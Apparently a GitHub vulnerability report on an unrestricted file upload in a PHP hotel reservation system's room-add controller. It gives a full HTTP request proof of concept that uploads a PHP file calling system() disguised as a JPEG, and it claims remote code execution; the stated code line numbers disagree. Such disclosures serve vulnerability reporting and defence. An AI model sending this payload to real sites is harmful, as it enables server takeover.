You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
In line 45 of the controller.php file, the input obtained through $-FILES is directly used to determine the storage location of the file without verification or cleaning. The specific code snippet is as follows:
Impact
Attackers can exploit this vulnerability for unrestricted uploads, which may lead to file overwrite, file injection, directory traversal attacks, and denial of service attacks. Remote attacks may also result in RCE
DESCRIPTION
wangyuan-ui discovered that the file upload operation was triggered on line 164 of the 'controller.php' file and the uploaded file was received using the '$_FILES' variable. Due to the lack of appropriate input validation and cleaning, remote attackers can pass malicious payloads through this file upload feature, resulting in unrestricted file uploads, which may further lead to remote code execution (RCE).
Vulnerability details and POC
Payload
POST /admin/mod_room/controller.php?action=add HTTP/1.1
Host: localhost:8103
Content-Length: 2782
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8103
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrKFZ95dXQZ0NftNp
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8103/admin/mod_room/index.php?view=add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryrKFZ95dXQZ0NftNp
Content-Disposition: form-data; name="ROOM"
11
------WebKitFormBoundaryrKFZ95dXQZ0NftNp
Content-Disposition: form-data; name="ACCOMID"
12
------WebKitFormBoundaryrKFZ95dXQZ0NftNp
Content-Disposition: form-data; name="ROOMDESC"
11
------WebKitFormBoundaryrKFZ95dXQZ0NftNp
Content-Disposition: form-data; name="NUMPERSON"
11
------WebKitFormBoundaryrKFZ95dXQZ0NftNp
Content-Disposition: form-data; name="PRICE"
11
------WebKitFormBoundaryrKFZ95dXQZ0NftNp
Content-Disposition: form-data; name="ROOMNUM"
11
------WebKitFormBoundaryrKFZ95dXQZ0NftNp
Content-Disposition: form-data; name="image"; filename="rce.php"
Content-Type: image/jpeg
Node: Sorry, due to some encoding reasons, I am unable to use Markdown to store image data with attack payloads here. I will take a screenshot to show
<?php system("ipconfig"); ?>
------WebKitFormBoundaryrKFZ95dXQZ0NftNp
Content-Disposition: form-data; name="save"
------WebKitFormBoundaryrKFZ95dXQZ0NftNp--
I successfully executed the PHP script on the terminal
The text was updated successfully, but these errors were encountered:
Itsourcecode Monbela Tourist In Online Reservation System Using PHP 1.0 controller.php Unrestricted Upload
NAME OF AFFECTED PRODUCT(S)
Vendor Homepage
AFFECTED AND/OR FIXED VERSION(S)
submitter
Vulnerable File
VERSION(S)
Software Link
PROBLEM TYPE
Vulnerability Type
Root Cause
Impact
DESCRIPTION
Vulnerability details and POC
Payload
I successfully executed the PHP script on the terminal
The text was updated successfully, but these errors were encountered: